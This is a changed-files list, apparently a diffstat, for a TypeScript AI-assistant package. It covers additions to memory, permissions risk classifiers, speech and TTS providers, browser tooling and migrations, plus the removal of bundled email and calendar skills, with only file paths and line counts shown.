- package/src/heartbeat/heartbeat-service.ts +156 -22
- package/src/home/__tests__/assistant-feed-authoring.test.ts +156 -0
- package/src/home/__tests__/emit-feed-event.test.ts +169 -0
- package/src/home/__tests__/feed-scheduler.test.ts +222 -0
- package/src/home/__tests__/feed-types.test.ts +275 -0
- package/src/home/__tests__/feed-writer.test.ts +688 -0
- package/src/home/__tests__/phase5-exit-criteria.test.ts +212 -0
- package/src/home/__tests__/platform-gmail-digest.test.ts +222 -0
- package/src/home/__tests__/progress-formula.test.ts +213 -0
- package/src/home/__tests__/relationship-state-writer.test.ts +740 -0
- package/src/home/__tests__/rollup-producer.test.ts +442 -0
- package/src/home/assistant-feed-authoring.ts +128 -0
- package/src/home/emit-feed-event.ts +162 -0
- package/src/home/feed-scheduler.ts +263 -0
- package/src/home/feed-types.ts +235 -0
- package/src/home/feed-writer.ts +469 -0
- package/src/home/platform-gmail-digest.ts +163 -0
- package/src/home/progress-formula.ts +86 -0
- package/src/home/relationship-state-writer.ts +824 -0
- package/src/home/relationship-state.ts +143 -0
- package/src/home/rollup-producer.ts +413 -0
- package/src/home/suggested-prompts.ts +101 -0
- package/src/hooks/runner.ts +7 -0
- package/src/inbound/platform-callback-registration.ts +12 -3
- package/src/inbound/public-ingress-urls.ts +12 -0
- package/src/instrument.ts +1 -1
- package/src/ipc/__tests__/attachment-ipc.test.ts +213 -0
- package/src/ipc/__tests__/browser-ipc.test.ts +339 -0
- package/src/ipc/__tests__/cache-ipc.test.ts +266 -0
- package/src/ipc/__tests__/cli-ipc.test.ts +200 -0
- package/src/ipc/__tests__/socket-path.test.ts +73 -0
- package/src/ipc/__tests__/task-ipc.test.ts +577 -0
- package/src/ipc/__tests__/ui-request-route.test.ts +495 -0
- package/src/ipc/__tests__/watcher-ipc.test.ts +295 -0
- package/src/ipc/cli-client.ts +152 -0
- package/src/ipc/cli-server.ts +252 -0
- package/src/ipc/gateway-client.ts +180 -0
- package/src/ipc/routes/attachment.ts +114 -0
- package/src/ipc/routes/browser-context.ts +61 -0
- package/src/ipc/routes/browser.ts +96 -0
- package/src/ipc/routes/cache.ts +96 -0
- package/src/ipc/routes/index.ts +21 -0
- package/src/ipc/routes/task-queue.ts +226 -0
- package/src/ipc/routes/task.ts +173 -0
- package/src/ipc/routes/ui-request.ts +50 -0
- package/src/ipc/routes/wake-conversation.ts +19 -0
- package/src/ipc/routes/watcher.ts +203 -0
- package/src/ipc/socket-path.ts +100 -0
- package/src/memory/__tests__/auto-analysis-enqueue.test.ts +356 -0
- package/src/memory/__tests__/auto-analysis-guard.test.ts +57 -0
- package/src/memory/__tests__/conversation-analyze-job.test.ts +233 -0
- package/src/memory/__tests__/conversation-group-migration.test.ts +99 -0
- package/src/memory/__tests__/find-analysis-conversation.test.ts +196 -0
- package/src/memory/admin.ts +18 -0
- package/src/memory/app-store.ts +1 -1
- package/src/memory/attachments-store.ts +70 -0
- package/src/memory/auto-analysis-enqueue.ts +127 -0
- package/src/memory/auto-analysis-guard.ts +27 -0
- package/src/memory/cleanup-schedule-state.ts +37 -0
- package/src/memory/conversation-analyze-job.ts +74 -0
- package/src/memory/conversation-attention-store.ts +13 -6
- package/src/memory/conversation-crud.ts +199 -0
- package/src/memory/conversation-disk-view.ts +7 -0
- package/src/memory/conversation-group-migration.ts +65 -1
- package/src/memory/conversation-queries.ts +6 -5
- package/src/memory/conversation-title-service.ts +7 -4
- package/src/memory/db-init.ts +8 -0
- package/src/memory/db-maintenance.ts +108 -0
- package/src/memory/db.ts +1 -0
- package/src/memory/embedding-backend.ts +1 -1
- package/src/memory/graph/compaction.ts +299 -0
- package/src/memory/graph/consolidation.ts +4 -4
- package/src/memory/graph/conversation-graph-memory.ts +104 -29
- package/src/memory/graph/extraction.test.ts +295 -2
- package/src/memory/graph/extraction.ts +181 -51
- package/src/memory/graph/graph-search.test.ts +92 -0
- package/src/memory/graph/graph-search.ts +4 -1
- package/src/memory/graph/narrative.ts +2 -2
- package/src/memory/graph/pattern-scan.ts +2 -2
- package/src/memory/graph/retriever.test.ts +459 -0
- package/src/memory/graph/retriever.ts +257 -66
- package/src/memory/graph/scoring.test.ts +186 -0
- package/src/memory/graph/scoring.ts +31 -1
- package/src/memory/graph/store.ts +41 -0
- package/src/memory/graph/tool-handlers.ts +27 -0
- package/src/memory/graph/tools.ts +6 -1
- package/src/memory/group-crud.ts +6 -1
- package/src/memory/indexer.ts +95 -16
- package/src/memory/job-handlers/cleanup.ts +11 -8
- package/src/memory/job-handlers/conversation-starters.ts +39 -30
- package/src/memory/job-handlers/summarization.ts +2 -2
- package/src/memory/job-utils.ts +7 -1
- package/src/memory/jobs/embed-pkb-file.test.ts +168 -0
- package/src/memory/jobs/embed-pkb-file.ts +54 -0
- package/src/memory/jobs-store.ts +106 -5
- package/src/memory/jobs-worker.ts +26 -9
- package/src/memory/llm-usage-store.ts +92 -56
- package/src/memory/migrations/140-backfill-usage-cache-accounting.ts +1 -1
- package/src/memory/migrations/219-oauth-providers-token-exchange-body-format.ts +15 -0
- package/src/memory/migrations/220-normalize-user-file-by-principal.ts +190 -0
- package/src/memory/migrations/221-conversations-archived-at.ts +16 -0
- package/src/memory/migrations/222-strip-placeholder-sentinels-from-messages.ts +82 -0
- package/src/memory/migrations/index.ts +7 -0
- package/src/memory/migrations/registry.ts +8 -0
- package/src/memory/pkb/pkb-index.test.ts +368 -0
- package/src/memory/pkb/pkb-index.ts +255 -0
- package/src/memory/pkb/pkb-reconcile.test.ts +251 -0
- package/src/memory/pkb/pkb-reconcile.ts +148 -0
- package/src/memory/pkb/pkb-search.test.ts +438 -0
- package/src/memory/pkb/pkb-search.ts +137 -0
- package/src/memory/pkb/types.ts +53 -0
- package/src/memory/qdrant-client.ts +122 -1
- package/src/memory/qdrant-manager.ts +43 -16
- package/src/memory/schema/conversations.ts +2 -0
- package/src/memory/schema/oauth.ts +3 -0
- package/src/memory/slack-thread-store.ts +37 -0
- package/src/memory/usage-buckets.ts +396 -0
- package/src/messaging/providers/gmail/adapter.ts +6 -16
- package/src/messaging/providers/gmail/client.ts +79 -6
- package/src/messaging/providers/gmail/types.ts +7 -0
- package/src/messaging/providers/slack/__tests__/adapter-token-routing.test.ts +282 -0
- package/src/messaging/providers/slack/adapter.ts +155 -38
- package/src/messaging/providers/slack/backfill.test.ts +257 -0
- package/src/messaging/providers/slack/backfill.ts +101 -0
- package/src/messaging/providers/slack/client.ts +16 -0
- package/src/messaging/providers/slack/message-metadata.test.ts +316 -0
- package/src/messaging/providers/slack/message-metadata.ts +123 -0
- package/src/messaging/providers/slack/render-transcript.test.ts +1373 -0
- package/src/messaging/providers/slack/render-transcript.ts +443 -0
- package/src/messaging/providers/slack/types.ts +4 -0
- package/src/messaging/style-analyzer.ts +5 -2
- package/src/notifications/README.md +9 -5
- package/src/notifications/decision-engine.ts +6 -12
- package/src/notifications/preference-extractor.ts +2 -6
- package/src/notifications/signal.ts +5 -0
- package/src/oauth/__tests__/identity-verifier.test.ts +1 -0
- package/src/oauth/byo-connection.test.ts +18 -1
- package/src/oauth/byo-connection.ts +3 -1
- package/src/oauth/connect-orchestrator.ts +2 -0
- package/src/oauth/connection-resolver.ts +6 -2
- package/src/oauth/connection.ts +2 -0
- package/src/oauth/oauth-store.ts +10 -0
- package/src/oauth/platform-connection.test.ts +145 -0
- package/src/oauth/platform-connection.ts +62 -31
- package/src/oauth/seed-providers.ts +10 -1
- package/src/permissions/approval-policy.test.ts +948 -0
- package/src/permissions/approval-policy.ts +257 -0
- package/src/permissions/bash-risk-classifier.test.ts +1208 -0
- package/src/permissions/bash-risk-classifier.ts +707 -0
- package/src/permissions/checker.ts +218 -699
- package/src/permissions/command-registry.test.ts +535 -0
- package/src/permissions/command-registry.ts +825 -0
- package/src/permissions/defaults.ts +71 -75
- package/src/permissions/file-risk-classifier.test.ts +535 -0
- package/src/permissions/file-risk-classifier.ts +274 -0
- package/src/permissions/risk-types.ts +205 -0
- package/src/permissions/secret-prompter.ts +53 -2
- package/src/permissions/skill-risk-classifier.test.ts +311 -0
- package/src/permissions/skill-risk-classifier.ts +214 -0
- package/src/permissions/trust-client.ts +52 -25
- package/src/permissions/trust-store-interface.ts +1 -6
- package/src/permissions/trust-store.ts +164 -65
- package/src/permissions/types.ts +23 -14
- package/src/permissions/web-risk-classifier.test.ts +170 -0
- package/src/permissions/web-risk-classifier.ts +89 -0
- package/src/permissions/workspace-policy.ts +1 -13
- package/src/platform/client.test.ts +10 -0
- package/src/platform/client.ts +19 -1
- package/src/platform/sync-identity.ts +129 -0
- package/src/prompts/persona-resolver.ts +127 -3
- package/src/prompts/system-prompt.ts +78 -38
- package/src/prompts/templates/BOOTSTRAP.md +5 -5
- package/src/prompts/templates/SOUL.md +5 -3
- package/src/prompts/templates/channels/slack.md +20 -0
- package/src/prompts/update-bulletin-job.ts +190 -0
- package/src/prompts/user-reference.ts +20 -17
- package/src/providers/__tests__/context-overflow-error.test.ts +328 -0
- package/src/providers/__tests__/provider-env-vars.test.ts +102 -0
- package/src/providers/__tests__/provider-secret-catalog.test.ts +42 -0
- package/src/providers/__tests__/retry-callsite.test.ts +424 -0
- package/src/providers/anthropic/client.ts +335 -70
- package/src/providers/call-site-routing.ts +71 -0
- package/src/providers/fireworks/client.ts +2 -2
- package/src/providers/gemini/client.ts +74 -3
- package/src/providers/managed-proxy/constants.ts +2 -1
- package/src/providers/model-catalog.ts +502 -28
- package/src/providers/model-intents.ts +8 -8
- package/src/providers/ollama/client.ts +2 -2
- package/src/providers/openai/chat-completions-provider.ts +530 -0
- package/src/providers/openai/client.ts +25 -440
- package/src/providers/openai/responses-provider.ts +579 -0
- package/src/providers/openrouter/client.ts +168 -4
- package/src/providers/provider-env-vars.ts +56 -0
- package/src/providers/provider-secret-catalog.ts +139 -0
- package/src/providers/provider-send-message.ts +22 -5
- package/src/providers/ratelimit.ts +4 -0
- package/src/providers/registry.ts +21 -10
- package/src/providers/retry.ts +185 -39
- package/src/providers/speech-to-text/__tests__/provider-catalog.test.ts +251 -0
- package/src/providers/speech-to-text/__tests__/resolve.test.ts +883 -0
- package/src/providers/speech-to-text/deepgram-realtime.test.ts +980 -0
- package/src/providers/speech-to-text/deepgram-realtime.ts +767 -0
- package/src/providers/speech-to-text/deepgram.test.ts +332 -0
- package/src/providers/speech-to-text/deepgram.ts +115 -0
- package/src/providers/speech-to-text/google-gemini-live-stream.test.ts +743 -0
- package/src/providers/speech-to-text/google-gemini-live-stream.ts +625 -0
- package/src/providers/speech-to-text/google-gemini.test.ts +226 -0
- package/src/providers/speech-to-text/google-gemini.ts +101 -0
- package/src/providers/speech-to-text/openai-whisper-stream.test.ts +564 -0
- package/src/providers/speech-to-text/openai-whisper-stream.ts +381 -0
- package/src/providers/speech-to-text/openai-whisper.test.ts +1 -37
- package/src/providers/speech-to-text/openai-whisper.ts +63 -33
- package/src/providers/speech-to-text/provider-catalog.ts +323 -0
- package/src/providers/speech-to-text/resolve.ts +393 -6
- package/src/providers/speech-to-text/xai-realtime.test.ts +578 -0
- package/src/providers/speech-to-text/xai-realtime.ts +796 -0
- package/src/providers/speech-to-text/xai.test.ts +155 -0
- package/src/providers/speech-to-text/xai.ts +97 -0
- package/src/providers/types.ts +102 -3
- package/src/runtime/AGENTS.md +45 -3
- package/src/runtime/__tests__/agent-wake.test.ts +872 -0
- package/src/runtime/__tests__/interactive-ui.test.ts +673 -0
- package/src/runtime/__tests__/runtime-mode.test.ts +62 -0
- package/src/runtime/__tests__/slack-block-formatting.test.ts +481 -0
- package/src/runtime/agent-wake.ts +553 -0
- package/src/runtime/auth/__tests__/route-policy.test.ts +40 -0
- package/src/runtime/auth/route-policy.ts +34 -5
- package/src/runtime/auth/token-service.ts +56 -1
- package/src/runtime/btw-sidechain.ts +15 -3
- package/src/runtime/capability-tokens.ts +10 -10
- package/src/runtime/channel-invite-transport.ts +1 -1
- package/src/runtime/channel-invite-transports/email.ts +14 -6
- package/src/runtime/channel-readiness-service.ts +12 -22
- package/src/runtime/channel-reply-delivery.ts +106 -2
- package/src/runtime/chrome-extension-registry.ts +38 -2
- package/src/runtime/decision-token.ts +116 -0
- package/src/runtime/gateway-client.ts +2 -2
- package/src/runtime/http-router.ts +32 -0
- package/src/runtime/http-server.ts +447 -11
- package/src/runtime/http-types.ts +29 -3
- package/src/runtime/interactive-ui.ts +362 -0
- package/src/runtime/invite-instruction-generator.ts +2 -2
- package/src/runtime/migrations/__tests__/gcs-signed-url.test.ts +176 -0
- package/src/runtime/migrations/__tests__/vbundle-import-credentials.test.ts +36 -0
- package/src/runtime/migrations/__tests__/vbundle-legacy-user-md.test.ts +360 -0
- package/src/runtime/migrations/__tests__/vbundle-metadata-merge-integration.test.ts +390 -0
- package/src/runtime/migrations/__tests__/vbundle-metadata-merge.test.ts +221 -0
- package/src/runtime/migrations/__tests__/vbundle-streaming-importer.test.ts +1540 -0
- package/src/runtime/migrations/__tests__/vbundle-streaming-validator.test.ts +453 -0
- package/src/runtime/migrations/__tests__/vbundle-tar-stream.test.ts +222 -0
- package/src/runtime/migrations/gcs-signed-url.ts +162 -0
- package/src/runtime/migrations/migration-transport.ts +1 -0
- package/src/runtime/migrations/migration-wizard.ts +1 -0
- package/src/runtime/migrations/vbundle-import-analyzer.ts +77 -1
- package/src/runtime/migrations/vbundle-importer.ts +187 -8
- package/src/runtime/migrations/vbundle-metadata-merge.ts +124 -0
- package/src/runtime/migrations/vbundle-streaming-importer.ts +2522 -0
- package/src/runtime/migrations/vbundle-streaming-validator.ts +244 -0
- package/src/runtime/migrations/vbundle-tar-stream.ts +217 -0
- package/src/runtime/migrations/vbundle-validator.ts +15 -6
- package/src/runtime/pending-interactions.ts +0 -11
- package/src/runtime/routes/__tests__/backup-routes.test.ts +967 -0
- package/src/runtime/routes/__tests__/home-feed-routes.test.ts +618 -0
- package/src/runtime/routes/__tests__/migration-import-credential-filter.test.ts +247 -0
- package/src/runtime/routes/__tests__/migration-vellum-metadata-reconcile.test.ts +246 -0
- package/src/runtime/routes/__tests__/stt-routes.test.ts +406 -0
- package/src/runtime/routes/__tests__/tts-routes.test.ts +474 -0
- package/src/runtime/routes/__tests__/user-route-dispatcher.test.ts +148 -17
- package/src/runtime/routes/app-management-routes.ts +12 -18
- package/src/runtime/routes/approval-prompt-ts-tracker.ts +58 -0
- package/src/runtime/routes/approval-routes.ts +12 -17
- package/src/runtime/routes/approval-strategies/guardian-callback-strategy.ts +9 -0
- package/src/runtime/routes/attachment-routes.test.ts +9 -3
- package/src/runtime/routes/attachment-routes.ts +216 -17
- package/src/runtime/routes/avatar-routes.ts +20 -4
- package/src/runtime/routes/backup-routes.ts +519 -0
- package/src/runtime/routes/browser-extension-pair-routes.ts +82 -23
- package/src/runtime/routes/btw-routes.ts +9 -10
- package/src/runtime/routes/contact-routes.test.ts +298 -0
- package/src/runtime/routes/contact-routes.ts +132 -5
- package/src/runtime/routes/conversation-analysis-routes.ts +22 -142
- package/src/runtime/routes/conversation-management-routes.ts +133 -0
- package/src/runtime/routes/conversation-routes.ts +487 -160
- package/src/runtime/routes/debug-routes.ts +1 -1
- package/src/runtime/routes/diagnostics-routes.ts +6 -4
- package/src/runtime/routes/events-routes.ts +16 -0
- package/src/runtime/routes/filing-routes.ts +93 -0
- package/src/runtime/routes/guardian-approval-interception.ts +33 -3
- package/src/runtime/routes/guardian-approval-prompt.ts +13 -3
- package/src/runtime/routes/home-feed-routes.ts +452 -0
- package/src/runtime/routes/home-state-routes.ts +138 -0
- package/src/runtime/routes/host-browser-routes.ts +3 -14
- package/src/runtime/routes/identity-intro-cache.ts +7 -3
- package/src/runtime/routes/identity-routes.ts +3 -17
- package/src/runtime/routes/inbound-message-handler.ts +912 -2
- package/src/runtime/routes/inbound-stages/background-dispatch.test.ts +113 -2
- package/src/runtime/routes/inbound-stages/background-dispatch.ts +61 -3
- package/src/runtime/routes/inbound-stages/edit-intercept.ts +129 -6
- package/src/runtime/routes/inbound-stages/transcribe-audio.test.ts +46 -39
- package/src/runtime/routes/inbound-stages/transcribe-audio.ts +15 -15
- package/src/runtime/routes/integrations/slack/__tests__/channel.test.ts +137 -0
- package/src/runtime/routes/integrations/slack/__tests__/share.test.ts +179 -0
- package/src/runtime/routes/integrations/slack/channel.ts +36 -6
- package/src/runtime/routes/integrations/slack/share.ts +45 -7
- package/src/runtime/routes/llm-context-normalization.ts +325 -0
- package/src/runtime/routes/memory-item-routes.test.ts +3 -2
- package/src/runtime/routes/migration-routes.ts +722 -91
- package/src/runtime/routes/settings-routes.ts +26 -7
- package/src/runtime/routes/skills-routes.ts +76 -7
- package/src/runtime/routes/stt-routes.ts +233 -0
- package/src/runtime/routes/surface-action-routes.ts +41 -2
- package/src/runtime/routes/trust-rules-routes.ts +30 -14
- package/src/runtime/routes/tts-routes.ts +108 -24
- package/src/runtime/routes/usage-routes.ts +30 -2
- package/src/runtime/routes/user-route-dispatcher.ts +50 -5
- package/src/runtime/routes/user-routes.ts +13 -1
- package/src/runtime/routes/work-items-routes.test.ts +1 -1
- package/src/runtime/routes/work-items-routes.ts +11 -3
- package/src/runtime/runtime-mode.ts +33 -0
- package/src/runtime/services/__tests__/analyze-conversation.test.ts +426 -0
- package/src/runtime/services/__tests__/analyze-deps-singleton.test.ts +67 -0
- package/src/runtime/services/__tests__/auto-analysis-prompt.test.ts +53 -0
- package/src/runtime/services/__tests__/manual-analysis-prompt.test.ts +41 -0
- package/src/runtime/services/analyze-conversation.ts +340 -0
- package/src/runtime/services/analyze-deps-singleton.ts +32 -0
- package/src/runtime/services/auto-analysis-prompt.ts +55 -0
- package/src/runtime/skill-route-registry.ts +71 -0
- package/src/runtime/slack-block-formatting.ts +437 -10
- package/src/schedule/scheduler.ts +58 -0
- package/src/security/__tests__/provider-key-env-fallback.test.ts +119 -0
- package/src/security/__tests__/untrusted-content.test.ts +109 -0
- package/src/security/oauth2.ts +122 -37
- package/src/security/secure-keys.ts +32 -10
- package/src/security/token-manager.ts +35 -13
- package/src/security/untrusted-content.ts +102 -0
- package/src/sequence/engine.ts +23 -0
- package/src/sequence/types.ts +1 -1
- package/src/skills/catalog-cache.ts +26 -7
- package/src/skills/catalog-files.ts +64 -2
- package/src/skills/catalog-install.ts +31 -3
- package/src/skills/category-inference.ts +122 -0
- package/src/skills/clawhub-files.ts +213 -0
- package/src/skills/clawhub.ts +84 -23
- package/src/skills/skill-cache-store.ts +97 -0
- package/src/skills/skill-file-provider.ts +40 -0
- package/src/skills/skillssh-files.ts +395 -0
- package/src/skills/skillssh-registry.ts +4 -4
- package/src/stt/__tests__/daemon-batch-transcriber.test.ts +468 -0
- package/src/stt/__tests__/types.test.ts +89 -0
- package/src/stt/daemon-batch-transcriber.ts +228 -0
- package/src/stt/stt-stream-session.ts +506 -0
- package/src/stt/types.ts +334 -0
- package/src/stt/wav-encoder.test.ts +373 -0
- package/src/stt/wav-encoder.ts +175 -0
- package/src/subagent/manager.ts +79 -27
- package/src/tasks/ephemeral-permissions.ts +9 -4
- package/src/telemetry/usage-telemetry-reporter.ts +27 -5
- package/src/tools/browser/__tests__/browser-mode.test.ts +119 -0
- package/src/tools/browser/__tests__/browser-status.test.ts +166 -0
- package/src/tools/browser/browser-execution.ts +1208 -41
- package/src/tools/browser/browser-manager.ts +45 -0
- package/src/tools/browser/browser-mode-constants.ts +12 -0
- package/src/tools/browser/browser-mode.ts +92 -0
- package/src/tools/browser/browser-status-constants.ts +33 -0
- package/src/tools/browser/cdp-client/__tests__/cdp-inspect-client.test.ts +393 -0
- package/src/tools/browser/cdp-client/__tests__/extension-cdp-client.test.ts +29 -0
- package/src/tools/browser/cdp-client/__tests__/factory.test.ts +1648 -32
- package/src/tools/browser/cdp-client/cdp-inspect/__tests__/discovery.test.ts +264 -0
- package/src/tools/browser/cdp-client/cdp-inspect/discovery.ts +205 -17
- package/src/tools/browser/cdp-client/cdp-inspect-client.ts +254 -21
- package/src/tools/browser/cdp-client/errors.ts +15 -0
- package/src/tools/browser/cdp-client/extension-cdp-client.ts +39 -16
- package/src/tools/browser/cdp-client/factory.ts +797 -87
- package/src/tools/browser/cdp-client/index.ts +16 -2
- package/src/tools/browser/cdp-client/types.ts +68 -0
- package/src/tools/credentials/tool-policy.ts +39 -5
- package/src/tools/credentials/vault.ts +41 -7
- package/src/tools/executor.ts +4 -0
- package/src/tools/filesystem/write.ts +52 -0
- package/src/tools/host-terminal/host-shell.ts +45 -5
- package/src/tools/memory/register.test.ts +185 -0
- package/src/tools/memory/register.ts +3 -1
- package/src/tools/network/web-fetch.ts +25 -12
- package/src/tools/network/web-search.ts +20 -2
- package/src/tools/permission-checker.ts +36 -15
- package/src/tools/policy-context.ts +25 -8
- package/src/tools/registry.ts +55 -3
- package/src/tools/shared/shell-output.ts +3 -1
- package/src/tools/side-effects.ts +0 -9
- package/src/tools/skills/execute.ts +2 -2
- package/src/tools/skills/sandbox-runner.ts +6 -2
- package/src/tools/terminal/backends/native.ts +51 -2
- package/src/tools/terminal/safe-env.ts +11 -2
- package/src/tools/terminal/shell.ts +16 -4
- package/src/tools/tool-manifest.ts +6 -0
- package/src/tools/types.ts +29 -3
- package/src/tools/ui-surface/definitions.ts +6 -1
- package/src/tools/verification-control-plane-policy.ts +1 -1
- package/src/tts/__tests__/provider-adapters.test.ts +1061 -0
- package/src/tts/__tests__/provider-catalog-consistency.test.ts +196 -0
- package/src/tts/__tests__/provider-catalog.test.ts +183 -0
- package/src/tts/__tests__/provider-registry.test.ts +90 -0
- package/src/tts/provider-catalog.ts +219 -0
- package/src/tts/provider-registry.ts +73 -0
- package/src/tts/providers/deepgram-provider.ts +219 -0
- package/src/tts/providers/elevenlabs-provider.ts +211 -0
- package/src/tts/providers/fish-audio-provider.ts +183 -0
- package/src/tts/providers/index.ts +44 -0
- package/src/tts/providers/register-builtins.ts +130 -0
- package/src/tts/providers/xai-provider.ts +224 -0
- package/src/tts/synthesize-text.ts +110 -0
- package/src/tts/tts-config-resolver.ts +78 -0
- package/src/tts/types.ts +199 -0
- package/src/types/onboarding-context.ts +7 -0
- package/src/types/tar-stream.d.ts +66 -0
- package/src/util/abort-reasons.ts +58 -0
- package/src/util/device-id.ts +32 -16
- package/src/util/errors.ts +9 -1
- package/src/util/json.ts +17 -0
- package/src/util/platform.ts +56 -12
- package/src/util/pricing.ts +78 -5
- package/src/util/spawn.ts +1 -1
- package/src/util/truncate.ts +4 -2
- package/src/util/unicode.ts +201 -0
- package/src/version.ts +19 -24
- package/src/watcher/engine.ts +24 -1
- package/src/watcher/providers/google-calendar.ts +134 -8
- package/src/watcher/providers/outlook-calendar.ts +42 -2
- package/src/watcher/watcher-store.ts +31 -0
- package/src/workspace/git-service.ts +23 -4
- package/src/workspace/migrations/003-seed-device-id.ts +9 -3
- package/src/workspace/migrations/017-seed-persona-dirs.ts +68 -4
- package/src/workspace/migrations/029-seed-pkb.ts +1 -1
- package/src/workspace/migrations/031-drop-user-md.ts +317 -0
- package/src/workspace/migrations/031-llm-log-retention-zero-to-null.ts +73 -0
- package/src/workspace/migrations/032-tts-provider-unification.ts +227 -0
- package/src/workspace/migrations/033-stt-service-explicit-config.ts +122 -0
- package/src/workspace/migrations/034-remove-calls-voice-transcription-provider.ts +215 -0
- package/src/workspace/migrations/035-seed-slack-channel-persona.ts +50 -0
- package/src/workspace/migrations/036-update-pkb-index-bar.ts +37 -0
- package/src/workspace/migrations/037-create-meets-dir.ts +61 -0
- package/src/workspace/migrations/038-unify-llm-callsite-configs.ts +516 -0
- package/src/workspace/migrations/039-drop-legacy-llm-keys.ts +171 -0
- package/src/workspace/migrations/040-seed-latency-callsite-defaults.ts +154 -0
- package/src/workspace/migrations/041-backfill-google-gmail-settings-scope.ts +57 -0
- package/src/workspace/migrations/042-fix-backfill-google-gmail-settings-scope.ts +70 -0
- package/src/workspace/migrations/043-release-notes-latex-rendering.ts +75 -0
- package/src/workspace/migrations/044-bump-stale-provider-stream-timeout.ts +51 -0
- package/src/workspace/migrations/045-release-notes-meet-avatar.ts +130 -0
- package/src/workspace/migrations/AGENTS.md +1 -1
- package/src/workspace/migrations/registry.ts +32 -0
- package/src/workspace/provider-commit-message-generator.ts +19 -38
- package/src/workspace/top-level-renderer.ts +13 -1
- package/src/workspace/turn-commit.ts +31 -0
- package/src/__tests__/email-cli.test.ts +0 -297
- package/src/__tests__/email-service-config-fallback.test.ts +0 -102
- package/src/__tests__/outlook-attachments.test.ts +0 -301
- package/src/__tests__/outlook-automation-tools.test.ts +0 -425
- package/src/__tests__/outlook-categories.test.ts +0 -212
- package/src/__tests__/outlook-compose-tools.test.ts +0 -325
- package/src/__tests__/outlook-declutter-tools.test.ts +0 -585
- package/src/__tests__/outlook-follow-up.test.ts +0 -196
- package/src/__tests__/outlook-trash.test.ts +0 -77
- package/src/__tests__/outlook-unsubscribe.test.ts +0 -250
- package/src/__tests__/update-bulletin-format.test.ts +0 -122
- package/src/__tests__/update-bulletin-state.test.ts +0 -135
- package/src/__tests__/update-bulletin.test.ts +0 -277
- package/src/__tests__/update-template-contract.test.ts +0 -29
- package/src/cli/commands/browser-relay.ts +0 -466
- package/src/cli/commands/doctor.ts +0 -341
- package/src/config/bundled-skills/browser/SKILL.md +0 -63
- package/src/config/bundled-skills/browser/TOOLS.json +0 -393
- package/src/config/bundled-skills/browser/tools/browser-click.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-close.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-extract.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-fill-credential.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-hover.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-navigate.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-press-key.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-screenshot.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-scroll.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-select-option.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-snapshot.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-type.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-wait-for-download.ts +0 -32
- package/src/config/bundled-skills/browser/tools/browser-wait-for.ts +0 -12
- package/src/config/bundled-skills/chatgpt-import/SKILL.md +0 -27
- package/src/config/bundled-skills/chatgpt-import/TOOLS.json +0 -27
- package/src/config/bundled-skills/chatgpt-import/tools/chatgpt-import.ts +0 -378
- package/src/config/bundled-skills/gmail/SKILL.md +0 -175
- package/src/config/bundled-skills/gmail/TOOLS.json +0 -558
- package/src/config/bundled-skills/gmail/tools/gmail-archive.ts +0 -149
- package/src/config/bundled-skills/gmail/tools/gmail-attachments.ts +0 -112
- package/src/config/bundled-skills/gmail/tools/gmail-draft.ts +0 -44
- package/src/config/bundled-skills/gmail/tools/gmail-filters.ts +0 -81
- package/src/config/bundled-skills/gmail/tools/gmail-follow-up.ts +0 -108
- package/src/config/bundled-skills/gmail/tools/gmail-forward.ts +0 -146
- package/src/config/bundled-skills/gmail/tools/gmail-label.ts +0 -53
- package/src/config/bundled-skills/gmail/tools/gmail-outreach-scan.ts +0 -220
- package/src/config/bundled-skills/gmail/tools/gmail-send-draft.ts +0 -26
- package/src/config/bundled-skills/gmail/tools/gmail-sender-digest.ts +0 -251
- package/src/config/bundled-skills/gmail/tools/gmail-trash.ts +0 -29
- package/src/config/bundled-skills/gmail/tools/gmail-unsubscribe.ts +0 -122
- package/src/config/bundled-skills/gmail/tools/gmail-vacation.ts +0 -67
- package/src/config/bundled-skills/gmail/tools/scan-result-store.ts +0 -100
- package/src/config/bundled-skills/gmail/tools/shared.ts +0 -47
- package/src/config/bundled-skills/google-calendar/SKILL.md +0 -51
- package/src/config/bundled-skills/google-calendar/TOOLS.json +0 -226
- package/src/config/bundled-skills/google-calendar/calendar-client.ts +0 -223
- package/src/config/bundled-skills/google-calendar/tools/calendar-check-availability.ts +0 -27
- package/src/config/bundled-skills/google-calendar/tools/calendar-create-event.ts +0 -48
- package/src/config/bundled-skills/google-calendar/tools/calendar-get-event.ts +0 -19
- package/src/config/bundled-skills/google-calendar/tools/calendar-list-events.ts +0 -36
- package/src/config/bundled-skills/google-calendar/tools/calendar-rsvp.ts +0 -58
- package/src/config/bundled-skills/google-calendar/tools/shared.ts +0 -17
- package/src/config/bundled-skills/google-calendar/types.ts +0 -97
- package/src/config/bundled-skills/outlook/SKILL.md +0 -196
- package/src/config/bundled-skills/outlook/TOOLS.json +0 -530
- package/src/config/bundled-skills/outlook/tools/outlook-attachments.ts +0 -85
- package/src/config/bundled-skills/outlook/tools/outlook-categories.ts +0 -77
- package/src/config/bundled-skills/outlook/tools/outlook-draft.ts +0 -84
- package/src/config/bundled-skills/outlook/tools/outlook-follow-up.ts +0 -94
- package/src/config/bundled-skills/outlook/tools/outlook-forward.ts +0 -49
- package/src/config/bundled-skills/outlook/tools/outlook-outreach-scan.ts +0 -237
- package/src/config/bundled-skills/outlook/tools/outlook-rules.ts +0 -161
- package/src/config/bundled-skills/outlook/tools/outlook-send-draft.ts +0 -32
- package/src/config/bundled-skills/outlook/tools/outlook-sender-digest.ts +0 -272
- package/src/config/bundled-skills/outlook/tools/outlook-trash.ts +0 -29
- package/src/config/bundled-skills/outlook/tools/outlook-unsubscribe.ts +0 -129
- package/src/config/bundled-skills/outlook/tools/outlook-vacation.ts +0 -87
- package/src/config/bundled-skills/outlook/tools/shared.ts +0 -20
- package/src/config/bundled-skills/outlook-calendar/SKILL.md +0 -51
- package/src/config/bundled-skills/outlook-calendar/TOOLS.json +0 -221
- package/src/config/bundled-skills/outlook-calendar/calendar-client.ts +0 -252
